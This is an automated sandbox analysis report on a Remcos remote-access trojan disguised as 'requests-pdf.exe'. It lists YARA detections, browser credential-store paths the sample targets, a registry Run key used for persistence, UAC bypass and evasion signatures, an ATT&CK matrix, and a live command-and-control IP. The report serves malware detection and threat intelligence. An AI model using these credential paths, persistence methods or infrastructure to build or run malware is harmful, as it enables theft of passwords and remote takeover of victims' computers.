              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00434010 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_00434010
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0041A7A2 GetComputerNameExW,GetUserNameW,0_2_0041A7A2
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0044800F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,0_2_0044800F
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
              Source: Amcache.hve.4.drBinary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
              Source: Amcache.hve.4.drBinary or memory string: msmpeng.exe
              Source: Amcache.hve.4.drBinary or memory string: c:\program files\windows defender\msmpeng.exe
              Source: Amcache.hve.4.drBinary or memory string: MsMpEng.exe

              Stealing of Sensitive Information

              barindex
              Yara detected Remcos RAT
              Source: Yara matchFile source: 15.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.3.requests-pdf.exe.25a0000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.3.requests-pdf.exe.25a0000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.24d0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.24f0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.24d0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.24e0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.24f0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.24e0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.3.yavascript.exe.2570000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.3.yavascript.exe.2560000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.3.yavascript.exe.2560000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.3.yavascript.exe.2570000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000019.00000002.2407775443.0000000000B40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.4542305582.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.2432647777.0000000000A98000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: requests-pdf.exe PID: 7268, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: yavascript.exe PID: 7780, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: yavascript.exe PID: 8172, type: MEMORYSTR
              Contains functionality to steal Chrome passwords or cookies
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data0_2_0040B21B
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data15_2_0040B21B
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data25_2_0040B21B
              Contains functionality to steal Firefox passwords or cookies
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\0_2_0040B335
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: \key3.db0_2_0040B335
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\15_2_0040B335
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: \key3.db15_2_0040B335
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\25_2_0040B335
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: \key3.db25_2_0040B335

              Remote Access Functionality

              barindex
              Detected Remcos RAT
              Source: C:\Users\user\Desktop\requests-pdf.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-I7G983Jump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-I7G983Jump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-I7G983
              Yara detected Remcos RAT
              Source: Yara matchFile source: 15.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.3.requests-pdf.exe.25a0000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.3.requests-pdf.exe.25a0000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.24d0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.24f0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.24d0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.24e0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.24f0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.24e0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.3.yavascript.exe.2570000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.3.yavascript.exe.2560000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.3.yavascript.exe.2560000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.3.yavascript.exe.2570000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000019.00000002.2407775443.0000000000B40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.4542305582.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.2432647777.0000000000A98000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: requests-pdf.exe PID: 7268, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: yavascript.exe PID: 7780, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: yavascript.exe PID: 8172, type: MEMORYSTR
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: cmd.exe0_2_00405042
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: cmd.exe15_2_00405042
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: cmd.exe25_2_00405042

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
              Native API              		1
              DLL Side-Loading              		1
              DLL Side-Loading              		1
              Deobfuscate/Decode Files or Information              		1
              OS Credential Dumping              		2
              System Time Discovery              		Remote Services11
              Archive Collected Data              		12
              Ingress Tool Transfer              		Exfiltration Over Other Network Medium1
              System Shutdown/Reboot
              CredentialsDomainsDefault Accounts12
              Command and Scripting Interpreter              		1
              Windows Service              		1
              Bypass User Account Control              		3
              Obfuscated Files or Information              		111
              Input Capture              		1
              Account Discovery              		Remote Desktop Protocol111
              Input Capture              		2
              Encrypted Channel              		Exfiltration Over Bluetooth1
              Defacement
              Email AddressesDNS ServerDomain Accounts2
              Service Execution              		11
              Registry Run Keys / Startup Folder              		1
              Access Token Manipulation              		12
              Software Packing              		2
              Credentials In Files              		1
              System Service Discovery              		SMB/Windows Admin Shares3
              Clipboard Data              		1
              Non-Standard Port              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
              Windows Service              		1
              DLL Side-Loading              		NTDS3
              File and Directory Discovery              		Distributed Component Object ModelInput Capture1
              Remote Access Software              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script22
              Process Injection              		1
              Bypass User Account Control              		LSA Secrets23
              System Information Discovery              		SSHKeylogging2
              Non-Application Layer Protocol              		Scheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts11
              Registry Run Keys / Startup Folder              		1
              Masquerading              		Cached Domain Credentials141
              Security Software Discovery              		VNCGUI Input Capture12
              Application Layer Protocol              		Data Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
              Virtualization/Sandbox Evasion              		DCSync2
              Virtualization/Sandbox Evasion              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
              Access Token Manipulation              		Proc Filesystem2
              Process Discovery              		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt22
              Process Injection              		/etc/passwd and /etc/shadow1
              Application Window Discovery              		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
              IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCronDynamic API ResolutionNetwork Sniffing1
              System Owner/User Discovery              		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1575101 Sample: requests-pdf.exe Startdate: 14/12/2024 Architecture: WINDOWS Score: 100 51 geoplugin.net 2->51 57 Suricata IDS alerts for network traffic 2->57 59 Found malware configuration 2->59 61 Malicious sample detected (through community Yara rule) 2->61 63 8 other signatures 2->63 8 requests-pdf.exe 1 4 2->8         started        12 yavascript.exe 2->12         started        signatures3 process4 file5 47 C:\Users\user\AppData\...\yavascript.exe, PE32 8->47 dropped 49 C:\Users\...\yavascript.exe:Zone.Identifier, ASCII 8->49 dropped 65 Contains functionality to bypass UAC (CMSTPLUA) 8->65 67 Detected unpacking (changes PE section rights) 8->67 69 Detected Remcos RAT 8->69 71 6 other signatures 8->71 14 yavascript.exe 3 14 8->14         started        18 WerFault.exe 16 8->18         started        21 WerFault.exe 16 8->21         started        25 5 other processes 8->25 23 WerFault.exe 12->23         started        signatures6 process7 dnsIp8 53 198.23.227.212, 32583, 49705 AS-COLOCROSSINGUS United States 14->53 55 geoplugin.net 178.237.33.50, 49714, 80 ATOM86-ASATOM86NL Netherlands 14->55 73 Multi AV Scanner detection for dropped file 14->73 75 Contains functionality to bypass UAC (CMSTPLUA) 14->75 77 Detected unpacking (changes PE section rights) 14->77 79 5 other signatures 14->79 27 WerFault.exe 14->27         started        29 WerFault.exe 14->29         started        31 WerFault.exe 14->31         started        33 5 other processes 14->33 35 C:\ProgramData\Microsoft\...\Report.wer, Unicode 18->35 dropped 37 C:\ProgramData\Microsoft\...\Report.wer, Unicode 21->37 dropped 39 C:\ProgramData\Microsoft\...\Report.wer, Unicode 25->39 dropped 41 C:\ProgramData\Microsoft\...\Report.wer, Unicode 25->41 dropped 43 C:\ProgramData\Microsoft\...\Report.wer, Unicode 25->43 dropped 45 2 other malicious files 25->45 dropped file9 signatures10 process11

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              requests-pdf.exe55%ReversingLabsWin32.Trojan.LummaC
              requests-pdf.exe51%VirustotalBrowse
              requests-pdf.exe100%AviraHEUR/AGEN.1312567
              requests-pdf.exe100%Joe Sandbox ML

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\Users\user\AppData\Roaming\xenor\yavascript.exe55%ReversingLabsWin32.Trojan.LummaC
              C:\Users\user\AppData\Roaming\xenor\yavascript.exe51%VirustotalBrowse

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              ⊘No Antivirus matches

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              geoplugin.net
              		178.237.33.50
              		truefalse
                		high

                Contacted URLs

                NameMaliciousAntivirus DetectionReputation
                http://geoplugin.net/json.gpfalse
                  		high

                  URLs from Memory and Binaries

                  NameSourceMaliciousAntivirus DetectionReputation
                  http://upx.sf.netAmcache.hve.4.drfalse
                    		high
                    http://geoplugin.net/json.gp/Crequests-pdf.exe, 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, requests-pdf.exe, 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, requests-pdf.exe, 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, yavascript.exe, 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, yavascript.exe, 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, yavascript.exe, 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, yavascript.exe, 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, yavascript.exe, 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, yavascript.exe, 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmpfalse
                      		high
                      http://geoplugin.net/json.gpSystem32yavascript.exe, 0000000F.00000002.4542305582.0000000000AFD000.00000004.00000020.00020000.00000000.sdmpfalse
                        		high
                        http://geoplugin.net/json.gpllyavascript.exe, 0000000F.00000003.2280787166.0000000000B2E000.00000004.00000020.00020000.00000000.sdmpfalse
                          		high
                          http://geoplugin.net/json.gpoyavascript.exe, 0000000F.00000003.2280787166.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, yavascript.exe, 0000000F.00000002.4542305582.0000000000B2E000.00000004.00000020.00020000.00000000.sdmpfalse
                            		high
                            http://geoplugin.net/json.gp-/yavascript.exe, 0000000F.00000003.2280787166.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, yavascript.exe, 0000000F.00000002.4542305582.0000000000B2E000.00000004.00000020.00020000.00000000.sdmpfalse
                              		high
                              http://geoplugin.net/json.gp.yavascript.exe, 0000000F.00000003.2280787166.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, yavascript.exe, 0000000F.00000002.4542305582.0000000000B2E000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                http://geoplugin.net/json.gp~/yavascript.exe, 0000000F.00000003.2280787166.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, yavascript.exe, 0000000F.00000002.4542305582.0000000000B2E000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high

                                  World Map of Contacted IPs

                                  • No. of IPs < 25%
                                  • 25% < No. of IPs < 50%
                                  • 50% < No. of IPs < 75%
                                  • 75% < No. of IPs

                                  Public IPs

                                  IPDomainCountryFlagASNASN NameMalicious
                                  198.23.227.212
                                  		unknownUnited States
                                  		36352AS-COLOCROSSINGUStrue
                                  178.237.33.50
                                  		geoplugin.netNetherlands
                                  		8455ATOM86-ASATOM86NLfalse

                                  General Information

                                  Joe Sandbox version:41.0.0 Charoite
                                  Analysis ID:1575101
                                  Start date and time:2024-12-14 13:37:07 +01:00
                                  Joe Sandbox product:CloudBasic
                                  Overall analysis duration:0h 10m 26s
                                  Hypervisor based Inspection enabled:false
                                  Report type:full
                                  Cookbook file name:default.jbs
                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                  Number of analysed new started processes analysed:40
                                  Number of new started drivers analysed:0
                                  Number of existing processes analysed:0
                                  Number of existing drivers analysed:0
                                  Number of injected processes analysed:0
                                  Technologies:
                                  • HCA enabled
                                  • EGA enabled
                                  • AMSI enabled
                                  Analysis Mode:default
                                  Analysis stop reason:Timeout
                                  Sample name:requests-pdf.exe
                                  Detection:MAL
                                  Classification:mal100.rans.troj.spyw.expl.evad.winEXE@20/68@1/2
                                  EGA Information:
                                  • Successful, ratio: 100%
                                  HCA Information:
                                  • Successful, ratio: 98%
                                  • Number of executed functions: 22
                                  • Number of non-executed functions: 383
                                  Cookbook Comments:
                                  • Found application associated with file extension: .exe
                                  • Override analysis time to 240000 for current running targets taking high CPU consumption

                                  Warnings

                                  • Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, SIHClient.exe, svchost.exe
                                  • Excluded IPs from analysis (whitelisted): 20.42.65.92, 20.190.177.85, 13.107.246.63, 4.245.163.56
                                  • Excluded domains from analysis (whitelisted): onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, otelrules.azureedge.net, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
                                  • Report creation exceeded maximum time and may have missing disassembly code information.
                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                  • Report size exceeded maximum capacity and may have missing disassembly code.
                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                  • Report size getting too big, too many NtQueryValueKey calls found.

                                  Simulations

                                  Behavior and APIs

                                  TimeTypeDescription
                                  07:38:36API Interceptor2x Sleep call for process: WerFault.exe modified
                                  07:38:49API Interceptor4688750x Sleep call for process: yavascript.exe modified
                                  13:38:06AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Rmc-I7G983 "C:\Users\user\AppData\Roaming\xenor\yavascript.exe"
                                  13:38:15AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Rmc-I7G983 "C:\Users\user\AppData\Roaming\xenor\yavascript.exe"

                                  Joe Sandbox View / Context

                                  IPs

                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                  198.23.227.212E84Ddy7gSh.exeGet hashmaliciousRemcosBrowse
                                    advancePayment-pdf.exeGet hashmaliciousRemcosBrowse
                                      YESOHDKMIm.exeGet hashmaliciousRemcosBrowse
                                        NujUXO42Rg.exeGet hashmaliciousRemcosBrowse
                                          ZeaS4nUxg4.exeGet hashmaliciousRemcosBrowse
                                            documents-pdf.exeGet hashmaliciousRemcosBrowse
                                              1kZ9olJiaG.exeGet hashmaliciousRemcosBrowse
                                                ltlbVjClX9.exeGet hashmaliciousRemcosBrowse
                                                  178.237.33.50Documents.pdfGet hashmaliciousRemcos, DBatLoaderBrowse
                                                  • geoplugin.net/json.gp
                                                  x295IO8kqM.exeGet hashmaliciousRemcosBrowse
                                                  • geoplugin.net/json.gp
                                                  7d74ApV4bb.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                                  • geoplugin.net/json.gp
                                                  greatattitudewithnicefeatruewithgreatnicecreamypurplethingsgood.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                  • geoplugin.net/json.gp
                                                  SwiftCopy_PaymtRecpt121224.exeGet hashmaliciousRemcosBrowse
                                                  • geoplugin.net/json.gp
                                                  WO-663071 Sabiya Power Station Project.vbsGet hashmaliciousRemcosBrowse
                                                  • geoplugin.net/json.gp
                                                  4JwhvqLe8n.exeGet hashmaliciousRemcosBrowse
                                                  • geoplugin.net/json.gp
                                                  fIPSLgT0lO.exeGet hashmaliciousRemcosBrowse
                                                  • geoplugin.net/json.gp
                                                  IXCbn4ZcdS.exeGet hashmaliciousRemcosBrowse
                                                  • geoplugin.net/json.gp
                                                  d7gXUPUl38.exeGet hashmaliciousRemcosBrowse
                                                  • geoplugin.net/json.gp

                                                  Domains

                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                  geoplugin.netDocuments.pdfGet hashmaliciousRemcos, DBatLoaderBrowse
                                                  • 178.237.33.50
                                                  x295IO8kqM.exeGet hashmaliciousRemcosBrowse
                                                  • 178.237.33.50
                                                  7d74ApV4bb.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                                  • 178.237.33.50
                                                  greatattitudewithnicefeatruewithgreatnicecreamypurplethingsgood.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                  • 178.237.33.50
                                                  SwiftCopy_PaymtRecpt121224.exeGet hashmaliciousRemcosBrowse
                                                  • 178.237.33.50
                                                  WO-663071 Sabiya Power Station Project.vbsGet hashmaliciousRemcosBrowse
                                                  • 178.237.33.50
                                                  4JwhvqLe8n.exeGet hashmaliciousRemcosBrowse
                                                  • 178.237.33.50
                                                  fIPSLgT0lO.exeGet hashmaliciousRemcosBrowse
                                                  • 178.237.33.50
                                                  IXCbn4ZcdS.exeGet hashmaliciousRemcosBrowse
                                                  • 178.237.33.50
                                                  d7gXUPUl38.exeGet hashmaliciousRemcosBrowse
                                                  • 178.237.33.50

                                                  ASNs

                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                  AS-COLOCROSSINGUSNB PO-104105107108.xlsGet hashmaliciousUnknownBrowse
                                                  • 23.95.235.29
                                                  jOlYP2b2P4.elfGet hashmaliciousXmrigBrowse
                                                  • 107.172.43.186
                                                  smb.ps1Get hashmaliciousXmrigBrowse
                                                  • 107.172.43.186
                                                  AI7f43Z7AC.exeGet hashmaliciousUnknownBrowse
                                                  • 107.172.88.151
                                                  3S52TCXLd6.exeGet hashmaliciousXmrigBrowse
                                                  • 107.172.43.186
                                                  job.ps1Get hashmaliciousDcRat, StormKitty, VenomRATBrowse
                                                  • 5.252.235.172
                                                  job.ps1Get hashmaliciousDcRat, StormKitty, VenomRATBrowse
                                                  • 5.252.235.172
                                                  greatattitudewithnicefeatruewithgreatnicecreamypurplethingsgood.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                  • 192.3.101.149
                                                  goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.htaGet hashmaliciousCobalt Strike, FormBookBrowse
                                                  • 107.172.44.175
                                                  creamkissingthingswithcreambananapackagecreamy.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                  • 192.210.150.24
                                                  ATOM86-ASATOM86NLDocuments.pdfGet hashmaliciousRemcos, DBatLoaderBrowse
                                                  • 178.237.33.50
                                                  x295IO8kqM.exeGet hashmaliciousRemcosBrowse
                                                  • 178.237.33.50
                                                  7d74ApV4bb.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                                  • 178.237.33.50
                                                  greatattitudewithnicefeatruewithgreatnicecreamypurplethingsgood.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                  • 178.237.33.50
                                                  SwiftCopy_PaymtRecpt121224.exeGet hashmaliciousRemcosBrowse
                                                  • 178.237.33.50
                                                  WO-663071 Sabiya Power Station Project.vbsGet hashmaliciousRemcosBrowse
                                                  • 178.237.33.50
                                                  4JwhvqLe8n.exeGet hashmaliciousRemcosBrowse
                                                  • 178.237.33.50
                                                  fIPSLgT0lO.exeGet hashmaliciousRemcosBrowse
                                                  • 178.237.33.50
                                                  IXCbn4ZcdS.exeGet hashmaliciousRemcosBrowse
                                                  • 178.237.33.50
                                                  d7gXUPUl38.exeGet hashmaliciousRemcosBrowse
                                                  • 178.237.33.50

                                                  JA3 Fingerprints

                                                  ⊘No context

                                                  Dropped Files

                                                  ⊘No context

                                                  Created / dropped Files

                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_requests-pdf.exe_5d90385110b99e8dc3d23e2193d1c3f0f9a6d0_bec3f5f0_7690e790-ee72-4b4e-bfd9-49a2524436e0\Report.wer

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):65536
                                                  Entropy (8bit):1.0028756522217979
                                                  Encrypted:false
                                                  SSDEEP:192:N6ySOzRvYL0wxgwjueZrswxdzuiFfZ24IO87:tSOdYYwxgwjjzuiFfY4IO87
                                                  MD5:8E3E55B87C62BA1EB885804C85C02B2C
                                                  SHA1:F5F1965CC868DA8E4D513E02D91D974A0E869495
                                                  SHA-256:1B8418D1A485DB5A3B8D86DB0ADB478617D7D403C30C86A0734B59C3F3AF0ED5
                                                  SHA-512:2762329383A10D1FC2A3F45B82A439CA4EB6CC6EE8C1F1A532303AFC23F5C2BAD71F5F0FCCB591F764A551A4637842EB5EEFC46416FDB3FDD3DCCF681AE14CB9
                                                  Malicious:true
